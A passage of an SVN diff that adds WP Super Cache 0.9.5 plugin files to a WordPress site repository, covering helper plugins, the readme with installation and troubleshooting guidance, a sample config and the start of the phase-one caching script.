+function wp_supercache_badbehaviour_admin() {
+	global $cache_badbehaviour, $wp_cache_config_file, $valid_nonce;
+	
+	$cache_badbehaviour = $cache_badbehaviour == '' ? 'no' : $cache_badbehaviour;
+
+	$err = false;
+
+	if(isset($_POST['cache_badbehaviour']) && $valid_nonce) {
+		$bbfile = get_bb_file_loc();
+		if( !$bbfile ) {
+			$_POST[ 'cache_badbehaviour' ] = 'Disable';
+			$err = 'Bad Behaviour not found. Please check your install.';
+		}
+		$cache_badbehaviour = $_POST['cache_badbehaviour'] == 'Disable' ? 0 : 1;
+		wp_cache_replace_line('^ *\$cache_compression', "\$cache_compression = 0;", $wp_cache_config_file);
+		wp_cache_replace_line('^ *\$cache_badbehaviour', "\$cache_badbehaviour = $cache_badbehaviour;", $wp_cache_config_file);
+		wp_cache_replace_line('^ *\$cache_badbehaviour_file', "\$cache_badbehaviour_file = '$bbfile';", $wp_cache_config_file);
+	}
+	echo '<form name="wp_supercache_badbehaviour_admin" action="'. $_SERVER["REQUEST_URI"] . '" method="post">';
+	wp_nonce_field('wp-cache');
+	echo '<strong>Bad Behaviour support is ';
+	if( $cache_badbehaviour == 0 ) {
+		echo 'disabled';
+	} else {
+		echo 'enabled';
+		wp_super_cache_disable();
+	}
+	echo '.</strong> (Only half-on caching supported, disabled compression and requires <a href="http://www.bad-behavior.ioerror.us/">Bad Behaviour</a> in "' . WP_CONTENT_DIR . '/plugins/bad-behavior/") ';
+	if( $cache_badbehaviour == 0 ) {
+		echo '<input type="submit" name="cache_badbehaviour" value="Enable" />';
+	} else {
+		echo '<input type="submit" name="cache_badbehaviour" value="Disable" />';
+	}
+	echo "</form>\n";
+	if( $err )
+		echo "<p><strong>Warning!</strong> $err</p>";
+
+}
+add_cacheaction( 'cache_admin_page', 'wp_supercache_badbehaviour_admin' );
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wp-super-cache/plugins/searchengine.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wp-super-cache/plugins/searchengine.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wp-super-cache/plugins/searchengine.php	(revision 44)
@@ -0,0 +1,83 @@
+<?php
+function wp_supercache_searchengine( $string ) {
+	global $passingthrough, $nevershowads, $cache_no_adverts_for_friends;
+
+	if( $cache_no_adverts_for_friends != 'yes' )
+		return $string;
+
+	if( $string != '' )
+		return $string;
+
+	if( $_COOKIE[ '7a1254cba80da02d5478d91cfd0a873a' ] == 1 ) {
+		$string = 'searchengine';
+	} elseif( $_SERVER[ 'HTTP_REFERER' ] != '' ) {
+		if( is_array( $passingthrough ) == false )
+			return $string;
+
+		foreach( $passingthrough as $url ) {
+			if( strpos( $_SERVER[ 'HTTP_REFERER' ], $url ) ) {
+				reset( $nevershowads );
+				$se = false;
+				foreach( $nevershowads as $whitesite ) {
+					if( false == strpos( $_SERVER[ 'HTTP_REFERER' ], $whitesite ) ) {
+						$se = true;
+					}
+				}
+				if( $se ) {
+					$string = 'searchengine';
+					@setcookie( '7a1254cba80da02d5478d91cfd0a873a', 1, time()+3600, '/' );
+				}
+			}
+		}
+	}
+
+	return $string;
+}
+add_cacheaction( 'wp_cache_get_cookies_values', 'wp_supercache_searchengine' );
+
+function searchenginesupercache( $user_info ) {
+	if( $user_info == 'searchengine' && is_single() && is_old_post() ) {
+		return true;
+	} else {
+		return false;
+	}
+	return $user_info;
+}
+
+function searchengine_phase2_actions() {
+	global $cache_no_adverts_for_friends;
+	if( $cache_no_adverts_for_friends == 'yes' ) {
+		add_filter( 'do_createsupercache', 'searchenginesupercache' );
+	}
+}
+add_cacheaction( 'add_cacheaction', 'searchengine_phase2_actions' );
+
+function wp_supercache_searchengine_admin() {
+	global $cache_no_adverts_for_friends, $wp_cache_config_file, $valid_nonce;
+	
+	$cache_no_adverts_for_friends = $cache_no_adverts_for_friends == '' ? 'no' : $cache_no_adverts_for_friends;
+
+	if(isset($_POST['cache_no_adverts_for_friends']) && $valid_nonce) {
+		$cache_no_adverts_for_friends = $_POST['cache_no_adverts_for_friends'] == 'Disable' ? 'no' : 'yes';
+		wp_cache_replace_line('^ *\$cache_no_adverts_for_friends', "\$cache_no_adverts_for_friends = '$cache_no_adverts_for_friends';", $wp_cache_config_file);
+	}
+	echo '<form name="wp_supercache_searchengine_admin" action="'. $_SERVER["REQUEST_URI"] . '" method="post">';
+	wp_nonce_field('wp-cache');
+	echo '<strong><a href="http://ocaoimh.ie/no-adverts-for-friends/">No Adverts for Friends</a> plugin is ';
+	if( $cache_no_adverts_for_friends == 'no' ) {
+		echo 'disabled';
+	} else {
+		echo 'enabled';
+	}
+	echo '.</strong> (requires <a href="http://ocaoimh.ie/no-adverts-for-friends/">friendsadverts.php</a> too) ';
+	if( $cache_no_adverts_for_friends == 'no' ) {
+		echo '<input type="submit" name="cache_no_adverts_for_friends" value="Enable" />';
+	} else {
+		echo '<input type="submit" name="cache_no_adverts_for_friends" value="Disable" />';
+	}
+	echo "</form>\n";
+
+}
+add_cacheaction( 'cache_admin_page', 'wp_supercache_searchengine_admin' );
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wp-super-cache/readme.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wp-super-cache/readme.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wp-super-cache/readme.txt	(revision 44)
@@ -0,0 +1,203 @@
+=== WP Super Cache ===
+Contributors: donncha
+Tags: performance,caching,wp-cache,wp-super-cache,cache
+Tested up to: 2.8.1
+Stable tag: 0.9.5
+Requires at least: 2.6
+Donate link: http://ocaoimh.ie/wordpress-plugins/gifts-and-donations/
+
+A very fast caching engine for WordPress that produces static html files.
+
+== Description ==
+This plugin generates static html files from your dynamic WordPress blog.  After a html file is generated your webserver will serve that file instead of processing the comparatively heavier and more expensive WordPress PHP scripts.
+
+The static html files will be served to the vast majority of your users, but because a user's details are displayed in the comment form after they leave a comment those requests are handled by PHP. Static files are served to:
+
+1. Users who are not logged in.
+2. Users who have not left a comment on your blog.
+3. Or users who have not viewed a password protected post.
+
+99% of your visitors will be served static html files. Those users who don't see the static files will still benefit because they will see regular WP-Cache cached files and your server won't be as busy as before. This plugin will help your server cope with a front page appearance on digg.com or other social networking site.
+
+If for some reason "supercaching" doesn't work on your server then don't worry. Caching will still be performed, but every request will require loading the PHP engine. In normal circumstances this isn't bad at all. Visitors to your site will notice no slowdown or difference. Supercache really comes into it's own if your server is underpowered, or you're experiencing heavy traffic.
+Super Cached html files will be served more quickly than PHP generated cached files but in every day use, the difference isn't noticeable.
+
+See the [WP Super Cache homepage](http://ocaoimh.ie/wp-super-cache/) for further information.
+
+The [changelog](http://svn.wp-plugins.org/wp-super-cache/trunk/Changelog.txt) is a good place to start if you want to know what has changed since you last downloaded the plugin.
+
+== Changelog ==
+
+= 0.9.5 =
+* Show next and last GC times in minutes, not local time.
+* Don't serve wp_cache cache files to rejected user agents. Supercache files are still served to them.
+* If enabled, mobile support now serves php cached files to mobile clients and static cached files to everyone else.
+* Added checks for "WPSC_DISABLE_COMPRESSION" and "WPSC_DISABLE_LOCKING" constants to disable compression and file locking. For hosting companies primarily.
+* Added check for DONOTCACHEPAGE constant to avoid caching a page.
+* Use PHP_DOCUMENT_ROOT when creating .htaccess if necessary.
+
+= 0.9.4.3 =
+1. Added "Don't cache for logged in users" option.
+2. Display file size stats on admin page.
+3. Clear the cache when profile page is updated.
+4. Don't cache post previews.
+5. Added backslashes to rejected URI regex list.
+6. Fixed problems with posts and comments not refreshing.
+
+== Installation ==
+1. You should have the Apache mod mime and mod rewrite modules installed and WordPress fancy permalinks enabled. PHP safe mode should be disabled. If any of those are missing or off you can still use the slower WP-Cache part of the plugin.
+2. If you have WP-Cache installed already, please disable it. Edit wp-config.php and make sure the WP_CACHE define is deleted, and remove the files wp-content/wp-cache-config.php and wp-content/advanced-cache.php. These will be recreated when you install this plugin.
+3. Upload this directory to your plugins directory. It will create a 'wp-content/plugins/wp-super-cache/' directory.
+4. If you are using WordPress MU you will need to install this in 'wp-content/mu-plugins/wp-super-cache/' and the file wp-cache.php must be copied into the mu-plugins directory.
+5. WordPress users should go to their Plugins page and activate "WP Super Cache".
+6. Now go to Settings->WP Super Cache and enable caching. If you see an error message or a blank screen you may need to fix it. See the "FAQ" section later in this readme for instructions.
+7. mod_rewrite rules will be inserted into your .htaccess file. Look in your web root directory for this file. It should look similar to this:
+
+	`-----------------.htaccess-----------------`
+	`RewriteEngine On`
+	`RewriteBase /`
+	
+	`RewriteCond %{REQUEST_METHOD} !=POST`
+	`RewriteCond %{QUERY_STRING} !.*=.*`
+	`RewriteCond %{HTTP_COOKIE} !^.*(comment_author_|wordpress|wp-postpass_).*$`
+	`RewriteCond %{HTTP:Accept-Encoding} gzip`
+	`RewriteCond %{HTTP_user_agent} !^.*(2.0\ MMP|240x320|AvantGo|BlackBerry|Blazer|Cellphone|Danger|DoCoMo|Elaine/3.0|EudoraWeb|hiptop|IEMobile|iPhone|iPod|KYOCERA/WX310K|LG/U990|MIDP-2.0|MMEF20|MOT-V|NetFront|Newt|Nintendo\ Wii|Nitro|Nokia|Opera\ Mini|Palm|Playstation\ Portable|portalmmm|Proxinet|ProxiNet|SHARP-TQ-GX10|Small|SonyEricsson|Symbian\ OS|SymbianOS|TS21i-10|UP.Browser|UP.Link|Windows\ CE|WinWAP).*`
+	`RewriteCond %{DOCUMENT_ROOT}/wp-content/cache/supercache/%{HTTP_HOST}/$1/index.html.gz -f`
+	`RewriteRule ^(.*) /wp-content/cache/supercache/%{HTTP_HOST}/$1/index.html.gz [L]`
+	
+	`RewriteCond %{REQUEST_METHOD} !=POST`
+	`RewriteCond %{QUERY_STRING} !.*=.*`
+	`RewriteCond %{QUERY_STRING} !.*attachment_id=.*`
+	`RewriteCond %{HTTP_COOKIE} !^.*(comment_author_|wordpress|wp-postpass_).*$`
+	`RewriteCond %{HTTP_user_agent} !^.*(2.0\ MMP|240x320|AvantGo|BlackBerry|Blazer|Cellphone|Danger|DoCoMo|Elaine/3.0|EudoraWeb|hiptop|IEMobile|iPhone|iPod|KYOCERA/WX310K|LG/U990|MIDP-2.0|MMEF20|MOT-V|NetFront|Newt|Nintendo\ Wii|Nitro|Nokia|Opera\ Mini|Palm|Playstation\ Portable|portalmmm|Proxinet|ProxiNet|SHARP-TQ-GX10|Small|SonyEricsson|Symbian\ OS|SymbianOS|TS21i-10|UP.Browser|UP.Link|Windows\ CE|WinWAP).*`
+	`RewriteCond %{DOCUMENT_ROOT}/wp-content/cache/supercache/%{HTTP_HOST}/$1/index.html -f`
+	`RewriteRule ^(.*) /wp-content/cache/supercache/%{HTTP_HOST}/$1/index.html [L]`
+	
+	`RewriteCond %{REQUEST_FILENAME} !-f`
+	`RewriteCond %{REQUEST_FILENAME} !-d`
+	`RewriteRule . /index.php [L]`
+	`-----------------.htaccess-----------------`
+8. After you have enabled the plugin, look for the file "wp-content/cache/.htaccess". If it's not there you must create it. It should read:
+
+	`# BEGIN supercache`
+	`<IfModule mod_mime.c>`
+	`  AddEncoding gzip .gz`
+	`  AddType text/html .gz`
+	`</IfModule>`
+	`<IfModule mod_deflate.c>`
+	`  SetEnvIfNoCase Request_URI \.gz$ no-gzip`
+	`</IfModule>`
+	`<IfModule mod_headers.c>`
+	`  Header set Cache-Control 'max-age=300, must-revalidate'`
+	`</IfModule>`
+	`<IfModule mod_expires.c>`
+	`  ExpiresActive On`
+	`  ExpiresByType text/html A300`
+	`</IfModule>`
+	``
+	`# END supercache`
+9. Apache must be configured to allow the modules above. If you receive a "500 internal error" when serving requests to anonymous users you need to dig into your Apache configuration. This configuration in my virtual host works for me:
+
+	`<Directory /home/www/>`
+	`AllowOverride All`
+	`</Directory>`
+10. wp-content/advanced-cache.php loads the caching engine. This file is generated by the plugin. Make sure the path in the include_once() is correct.
+
+== How to uninstall WP Super Cache ==
+
+1. Remove the WP_CACHE define from wp-config.php. It looks like `define( 'WP_CACHE', true );`
+2. Clear the cache in the backend page and then deactivate the plugin on the plugins page.
+3. Remove the Super Cache mod_rewrite rules from your .htaccess file.
+4. Remove the files wp-content/advanced-cache.php and wp-content/wp-cache-config.php
+5. Remove the directory wp-content/cache/
+6. Remove the directory wp-super-cache from your plugins directory.
+
+== If all else fails and your site is broken ==
+1. Remove the WP_CACHE define from wp-config.php. It looks like `define( 'WP_CACHE', true );`
+2. Remove the rules (see above) that the plugin wrote to the .htaccess file in your root directory.
+3. Delete the wp-super-cache folder in the plugins folder.
+4. Optionally delete advanced-cache.php, wp-cache-config.php and the cache folder in wp-content/.
+
+== Frequently Asked Questions ==
+
+= How do I know my blog is being cached? =
+
+View the source of any page on your site. When a page is first created, you'll see the text "Dynamic page generated in XXXX seconds." and "Cached page generated by WP-Super-Cache on YYYY-MM-DD HH:MM:SS" at the end of the source code. On reload, a cached page will show the same timestamp so wait a few seconds before checking. If you have compression enabled, the text "Compression = gzip" will be added. If compression is disabled and the page is served as a static html file, the text "super cache" will be added. The only other way to check if your cached file was served by PHP script or from the static cache is by looking at the HTTP headers. WP-Cache (PHP) cached pages will have the header "WP-Super-Cache: WP-Cache". I used the <a href="https://addons.mozilla.org/en-US/firefox/addon/3829">Live HTTP Headers</a> extension for Firefox to examine the headers. You should also check your cache directory in wp-content/cache/supercache/hostname/ for static cache files.
+
+= Why is WP-Super-Cache better than WP-Cache? =
+
+This plugin is based on the excellent WP-Cache plugin and therefore brings all the benefits of that plugin to WordPress. On top of that it creates copies of every page that is accessed on a blog in a form that is quickly served by the web server. It's almost as quick as if the you had saved a page in your browser and uploaded it to replace your homepage.
+
+= Will comments and other dynamic parts of my blog update immediately? =
+
+Comments will show as soon as they are moderated, depending on the comment policy of the blog owner. Other dynamic elements on a page may not update unless they are written in Javascript, Flash, Java or another client side browser language. The plugin really produces static html pages. No PHP is executed when those pages are served. "Popularity Contest" is one such plugin that will not work. Plugins that show different content for mobile users will probaby not work either.
+
+= Will the Super Cache compression slow down my server? =
+
+No, it will do the opposite in fact. Super Cache files are compressed and stored that way so the heavy compression is done only once. These files are generally much smaller and are sent to a visitor's browser much more quickly than uncompressed html. As a result, your server spends less time talking over the network which saves CPU time and bandwidth, and can also serve the next request much more quickly.
+
+= Why doesn't WP UserOnline, Popularity Contest, WP Postratings or plugin X not work or update on my blog now? =
+
+This plugin caches entire pages and some plugins think they can run PHP code every time a page loads. To fix this, the plugin needs to use Javascript or AJAX methods to update. If the plugin displays information on the page, that must be a Javascript request too.
+
+= Why doesn't the plugin cache requests by search engine bots by default? =
+
+Those bots usually only visit each page once and if the page is not popular there's no point creating a cache file that will sit idle on your server.
+
+= Why shouldn't I create a cache file of every page on my site? =
+
+Like the previous question, there's no point caching pages that won't be visited. The large number of cache files will slow down the garbage collection system as it attempts to check each file. It also causes problems for hosting companies. In the event of a disk failure on your server it may take much longer to check the files. Remember how long a scandisk or a fsck took on a large drive?
+
+= Troubleshooting =
+
+If things don't work when you installed the plugin here are a few things to check:
+
+1.  Is wp-content writable by the web server?
+2.  Is there a wp-content/wp-cache-config.php ? If not, copy the file wp-super-cache/wp-cache-config-sample.php to wp-content/wp-cache-config.php and make sure WPCACHEHOME points at the right place. "plugins" should be "mu-plugins" if you're using WordPress MU.
+3.  Is there a wp-content/advanced-cache.php ? If not, then you must copy wp-super-cache/advanced-cache.php into wp-content/. You must edit the file and change the path so it points at the wp-super-cache folder.
+4.  If pages are not cached at all, remove wp-content/advanced-cache.php and recreate it, following the advice above.
+5.  Make sure the following line is in wp-config.php and it is ABOVE the "require_once(ABSPATH.'wp-settings.php');" line:
+
+    `define( 'WP_CACHE', true );`
+6.  Try the Settings->WP Super Cache page again and enable cache.
+7.  Look in wp-content/cache/supercache/. Are there directories and files there?
+8.  Anything in your php error_log?
+9.  If your browser keeps asking you to save the file after the super cache is installed you must disable Super Cache compression. Go to the Settings->WP Super Cache page and disable it there.
+10. The plugin does not work very well when PHP's safe mode is active. This must be disabled by your administrator.
+11. If pages are randomly super cached and sometimes not, your blog can probably be viewed with and without the "www" prefix on the URL. You should choose one way and install the [Enforce www preference](http://txfx.net/code/wordpress/enforce-www-preference/) plugin if you are using an old WordPress install. The latest versions redirect themselves (you should always be running the latest version of WordPress anyway!)
+12. Private Server users at Dreamhost should edit wp-content/wp-cache-config.php and set the cache dir to "/tmp/" if they are getting errors about increasing CPU usage. See this [discussion](http://wordpress.org/support/topic/145895?replies=42) for more.
+13. File locking errors such as "failed to acquire key 0x152b: Permission denied in..." or "Page not cached by WP Super Cache. Could not get mutex lock." are a sign that you may have to use file locking. Edit wp-content/wp-cache-config.php and uncomment "$use_flock = true" or set $sem_id to a different value. You can also disable file locking from the Admin screen as a last resort.
+14. Make sure cache/wp_cache_mutex.lock is writeable by the web server.
+15. The cache folder cannot be put on an NFS or Samba or NAS share. It has to be on a local disk. File locking and deleting expired files will not work properly unless the cache folder is on the local machine.
+16. Garbage collection of old cache files won't work if WordPress can't find wp-cron.php. If your hostname resolves to 127.0.0.1 it could be preventing the garbage collection from working. Check your access_logs for wp-cron.php entries. Do they return a 404 (file not found) or 200 code? If it's 404 or you don't see wp-cron.php anywhere WordPress may be looking for that script in the wrong place. You should speak to your server administator to correct this or edit /etc/hosts on Unix servers and remove the following line. Your hostname must resolve to the external IP address other servers on the network/Internet use. See http://yoast.com/wp-cron-issues/ for more.
+
+    `127.0.0.1 myhostname.com`
+A line like "127.0.0.1 localhost localhost.localdomain" is ok.
+17. If old pages are being served to your visitors via the supercache, you may be missing Apache modules (or their equivalents if you don't use Apache). 3 modules are required: mod_mime, mod_headers and mod_expires. The last two are especially important for making sure browsers load new versions of existing pages on your site.
+18. The error message, "WP Super Cache is installed but broken. The path to wp-cache-phase1.php in wp-content/advanced-cache.php must be fixed!" appears at the end of every page. Open the file wp-content/advanced-cache.php in your favourite editor. Is the path to wp-cache-phase1.php correct? If it is not the caching engine will not load.
+
+== Custom Caching ==
+It is now possible to hook into the caching process using the add_cacheaction() function.
+
+Three hooks are available:
+
+1. 'wp_cache_get_cookies_values' - modify the key used by WP Cache.
+2. 'add_cacheaction' - runs in phase2. Allows a plugin to add WordPress hooks.
+3. 'cache_admin_page' - runs in the admin page. Use it to modify that page, perhaps by adding new configuration options.
+
+There is one regular WordPress filter too. Use the "do_createsupercache" filter 
+to customize the checks made before caching. The filter accepts one parameter. 
+The output of WP-Cache's wp_cache_get_cookies_values() function.
+
+See plugins/searchengine.php as an example I use for my [No Adverts for Friends](plugin at http://ocaoimh.ie/no-adverts-for-friends/)
+
+== Links ==
+[WP Widget Cache](http://wordpress.org/extend/plugins/wp-widget-cache/) is another caching plugin for WordPress. This plugin caches the output of widgets and may significantly speed up dynamic page generation times.
+
+== Updates ==
+Updates to the plugin will be posted here, to [Holy Shmoly!](http://ocaoimh.ie/) and the [WP Super Cache homepage](http://ocaoimh.ie/wp-super-cache/) will always link to the newest version.
+
+== Thanks ==
+I would sincerely like to thank [John Pozadzides](http://onemansblog.com/) for giving me the idea for this, for writing the "How it works" section and for testing the plugin through 2 front page appearances on digg.com
+
+Thanks to James Farmer and Andrew Billits of [Edu Blogs](http://edublogs.org/) fame who helped me make this more WordPress MU friendly.
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wp-super-cache/wp-cache-base.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wp-super-cache/wp-cache-base.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wp-super-cache/wp-cache-base.php	(revision 44)
@@ -0,0 +1,13 @@
+<?php
+$known_headers = array("Last-Modified", "Expires", "Content-Type", "Content-type", "X-Pingback", "ETag", "Cache-Control", "Pragma");
+
+if (!class_exists('CacheMeta')) {
+	class CacheMeta {
+		var $dynamic = false;
+		var $headers = array();
+		var $uri = '';
+		var $post = 0;
+	}
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wp-super-cache/wp-cache-config-sample.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wp-super-cache/wp-cache-config-sample.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wp-super-cache/wp-cache-config-sample.php	(revision 44)
@@ -0,0 +1,75 @@
+<?php
+/*
+WP-Cache Config Sample File
+
+See wp-cache.php for author details.
+*/
+
+if ( ! defined('WPCACHEHOME') )
+	define( 'WPCACHEHOME', WP_CONTENT_DIR . '/plugins/wp-super-cache/' );
+
+$cache_compression = 0; // Super cache compression
+$cache_enabled = false;
+$super_cache_enabled = false;
+$cache_max_time = 3600; //in seconds
+//$use_flock = true; // Set it true or false if you know what to use
+$cache_path = WP_CONTENT_DIR . '/cache/';
+$file_prefix = 'wp-cache-';
+
+// We want to be able to identify each blog in a WordPress MU install
+$blogcacheid = '';
+if( defined( 'VHOST' ) ) {
+	$blogcacheid = 'blog'; // main blog
+	if( constant( 'VHOST' ) == 'yes' ) {
+		$blogcacheid = $_SERVER['HTTP_HOST'];
+	} else {
+		$request_uri = preg_replace('/[ <>\'\"\r\n\t\(\)]/', '', str_replace( '..', '', $_SERVER['REQUEST_URI'] ) );
+		if( strpos( $request_uri, '/', 1 ) ) {
+			if( $base == '/' ) {
+				$blogcacheid = substr( $request_uri, 1, strpos( $request_uri, '/', 1 ) - 1 );
+			} else {
+				$blogcacheid = str_replace( $base, '', $request_uri );
+				$blogcacheid = substr( $blogcacheid, 0, strpos( $blogcacheid, '/', 1 ) );
+			}
+			if ( '/' == substr($blogcacheid, -1))
+				$blogcacheid = substr($blogcacheid, 0, -1);
+		}
+		$blogcacheid = str_replace( '/', '', $blogcacheid );
+	}
+}
+
+// Array of files that have 'wp-' but should still be cached 
+$cache_acceptable_files = array( 'wp-comments-popup.php', 'wp-links-opml.php', 'wp-locations.php' );
+
+$cache_rejected_uri = array('wp-.*\\.php', 'index\\.php');
+$cache_rejected_user_agent = array ( 0 => 'bot', 1 => 'ia_archive', 2 => 'slurp', 3 => 'crawl', 4 => 'spider');
+
+$cache_rebuild_files = 1;
+
+// DEBUG mode. Change this to your email address to be sent debug emails.
+// Remove comment (//) to enable and add back to disable.
+//$wp_cache_debug = "you@example.com";
+
+// Disable the file locking system.
+// If you are experiencing problems with clearing or creating cache files
+// uncommenting this may help.
+$wp_cache_mutex_disabled = 1;
+
+// Just modify it if you have conflicts with semaphores
+$sem_id = 5419;
+
+if ( '/' != substr($cache_path, -1)) {
+	$cache_path .= '/';
+}
+
+$wp_cache_mobile = 0;
+$wp_cache_mobile_whitelist = 'Stand Alone/QNws';
+$wp_cache_mobile_browsers = 'Android, 2.0 MMP, 240x320, AvantGo, BlackBerry, Blazer, Cellphone, Danger, DoCoMo, Elaine/3.0, EudoraWeb, hiptop, IEMobile, iPhone, iPod, KYOCERA/WX310K, LG/U990, MIDP-2.0, MMEF20, MOT-V, NetFront, Newt, Nintendo Wii, Nitro, Nokia, Opera Mini, Palm, Playstation Portable, portalmmm, Proxinet, ProxiNet, SHARP-TQ-GX10, Small, SonyEricsson, Symbian OS, SymbianOS, TS21i-10, UP.Browser, UP.Link, Windows CE, WinWAP';
+
+// gzip the first page generated for clients that support it.
+$wp_cache_gzip_first = 0;
+// change to relocate the supercache plugins directory
+$wp_cache_plugins_dir = WPCACHEHOME . 'plugins';
+// set to 1 to do garbage collection during normal process shutdown instead of wp-cron
+$wp_cache_shutdown_gc = 0; 
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wp-super-cache/wp-cache-phase1.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wp-super-cache/wp-cache-phase1.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wp-super-cache/wp-cache-phase1.php	(revision 44)
@@ -0,0 +1,199 @@
+<?php
+// Pre-2.6 compatibility
+if( !defined('WP_CONTENT_DIR') )
+	define( 'WP_CONTENT_DIR', ABSPATH . 'wp-content' );
+
+if( !include( WP_CONTENT_DIR . '/wp-cache-config.php' ) )
+	return true;
+if( !defined( 'WPCACHEHOME' ) )
+	define('WPCACHEHOME', dirname(__FILE__).'/');
+
+include( WPCACHEHOME . 'wp-cache-base.php');
+
+if( $blogcacheid != '' ) {
+	$blog_cache_dir = str_replace( '//', '/', $cache_path . "blogs/" . $blogcacheid . '/' );
+} else {
+	$blog_cache_dir = $cache_path;
+}
+
+if(defined('DOING_CRON')) {
+	require_once( WPCACHEHOME . 'wp-cache-phase2.php');
+	return true;
+}
+
+$mutex_filename = 'wp_cache_mutex.lock';
+$new_cache = false;
+
+// Don't change variables behind this point
+
+if( !isset( $wp_cache_plugins_dir ) )
+	$wp_cache_plugins_dir = WPCACHEHOME . 'plugins';
+$plugins = glob( $wp_cache_plugins_dir . '/*.php' );
+if( is_array( $plugins ) ) {
+	foreach ( $plugins as $plugin ) {
+	if( is_file( $plugin ) )
+		require_once( $plugin );
+	}
+}
+
+if (!$cache_enabled || $_SERVER["REQUEST_METHOD"] == 'POST') 
+	return true;
+
+$file_expired = false;
+$cache_filename = '';
+$meta_file = '';
+$wp_cache_gzip_encoding = '';
+
+$gzipped = 0;
+$gzsize = 0;
+
+function gzip_accepted(){
+	if( ini_get( 'zlib.output_compression' ) ) // don't compress WP-Cache data files when PHP is already doing it
+		return false;
+
+	if (strpos($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip') === false) return false;
+	return 'gzip';
+}
+
+if ($cache_compression) {
+	$wp_cache_gzip_encoding = gzip_accepted();
+}
+
+add_cacheaction( 'wp_cache_get_cookies_values', 'wp_cache_check_mobile' );
+
+$wp_cache_request_uri = $_SERVER[ 'REQUEST_URI' ]; // Cache this in case any plugin modifies it.
+
+$key = $blogcacheid . md5( do_cacheaction( 'wp_cache_key', $_SERVER['HTTP_HOST'].preg_replace('/#.*$/', '', str_replace( '/index.php', '/', $wp_cache_request_uri ) ).$wp_cache_gzip_encoding.wp_cache_get_cookies_values() ) );
+
+if( false == @is_dir( $blog_cache_dir ) ) {
+	@mkdir( $cache_path . "blogs" );
+	@mkdir( $blog_cache_dir );
+}
+
+if( false == @is_dir( $blog_cache_dir . 'meta' ) )
+	@mkdir( $blog_cache_dir . 'meta' );
+
+
+$cache_filename = $file_prefix . $key . '.html';
+$meta_file = $file_prefix . $key . '.meta';
+$cache_file = realpath( $blog_cache_dir . $cache_filename );
+$meta_pathname = realpath( $blog_cache_dir . 'meta/' . $meta_file );
+
+$wp_start_time = microtime();
+if( file_exists( $cache_file ) && !wp_cache_user_agent_is_rejected() ) {
+		if (! ($meta = unserialize(@file_get_contents($meta_pathname))) ) 
+			return true;
+		if( is_array( $meta ) == false ) {
+			@unlink( $meta_pathname );
+			@unlink( $cache_file );
+			return true;
+		}
+		$cache_file = do_cacheaction( 'wp_cache_served_cache_file', $cache_file );
+		// Sometimes the gzip headers are lost. If this is a gzip capable client, send those headers.
+		if( $wp_cache_gzip_encoding && !in_array( 'Content-Encoding: ' . $wp_cache_gzip_encoding, $meta[ 'headers' ] ) ) {
+			$meta[ 'headers' ][ 'Content-Encoding' ] =  'Content-Encoding: ' . $wp_cache_gzip_encoding;
+			$meta[ 'headers' ][ 'Vary' ] = 'Vary: Accept-Encoding, Cookie';
+			wp_cache_debug( "Had to add gzip headers to the page {$_SERVER[ 'REQUEST_URI' ]}." );
+		}
+		foreach ($meta[ 'headers' ] as $t => $header) {
+			// godaddy fix, via http://blog.gneu.org/2008/05/wp-supercache-on-godaddy/ and http://www.littleredrails.com/blog/2007/09/08/using-wp-cache-on-godaddy-500-error/
+			if( strpos( $header, 'Last-Modified:' ) === false ) 
+				header($header);
+		}
+		header( 'WP-Super-Cache: WP-Cache' );
+		if ( $meta[ 'dynamic' ] ) {
+			include($cache_file);
+		} else {
+			readfile( $cache_file );
+		}
+		die();
+}
+
+function wp_cache_postload() {
+	global $cache_enabled;
+
+	if ( !$cache_enabled || isset( $_GET[ 'preview' ] ) )
+		return true;
+	require_once( WPCACHEHOME . 'wp-cache-phase2.php');
+	wp_cache_phase2();
+}
+
+function wp_cache_get_cookies_values() {
+	$string = '';
+	while ($key = key($_COOKIE)) {
+		if ( preg_match( "/^wp-postpass|^wordpress|^comment_author_/", $key ) && $_COOKIE[ $key ] != 'WP Cookie check' ) {
+			$string .= $_COOKIE[$key] . ",";
+		}
+		next($_COOKIE);
+	}
+	reset($_COOKIE);
+
+	// If you use this hook, make sure you update your .htaccess rules with the same conditions
+	$string = do_cacheaction( 'wp_cache_get_cookies_values', $string );
+	return $string;
+}
+
+function add_cacheaction( $action, $func ) {
+	global $wp_supercache_actions;
+	$wp_supercache_actions[ $action ][] = $func;
+}
+
+function do_cacheaction( $action, $value = '' ) {
+	global $wp_supercache_actions;
+	if( is_array( $wp_supercache_actions[ $action ] ) ) {
+		$actions = $wp_supercache_actions[ $action ];
+		foreach( $actions as $func ) {
+			$value = $func( $value );
+		}
+	}
+
+	return $value;
+}
+
+// From http://wordpress.org/extend/plugins/wordpress-mobile-edition/ by Alex King
+function wp_cache_check_mobile( $cache_key ) {
+	global $wp_cache_mobile_enabled, $wp_cache_mobile_browsers, $wp_cache_mobile_whitelist;
+	if( !isset( $wp_cache_mobile_enabled ) || false == $wp_cache_mobile_enabled )
+		return $cache_key;
+
+	if (!isset($_SERVER["HTTP_USER_AGENT"])) {
+		return $cache_key;
+	}
+	$whitelist = explode( ',', $wp_cache_mobile_whitelist );
+	foreach ($whitelist as $browser) {
+		if (strstr($_SERVER["HTTP_USER_AGENT"], trim($browser))) {
+			return $cache_key;
+		}
+	}
+
+	$browsers = explode( ',', $wp_cache_mobile_browsers );
+	foreach ($browsers as $browser) {
+		if (strstr($_SERVER["HTTP_USER_AGENT"], trim( $browser ))) {
+			return $cache_key . $browser;
+		}
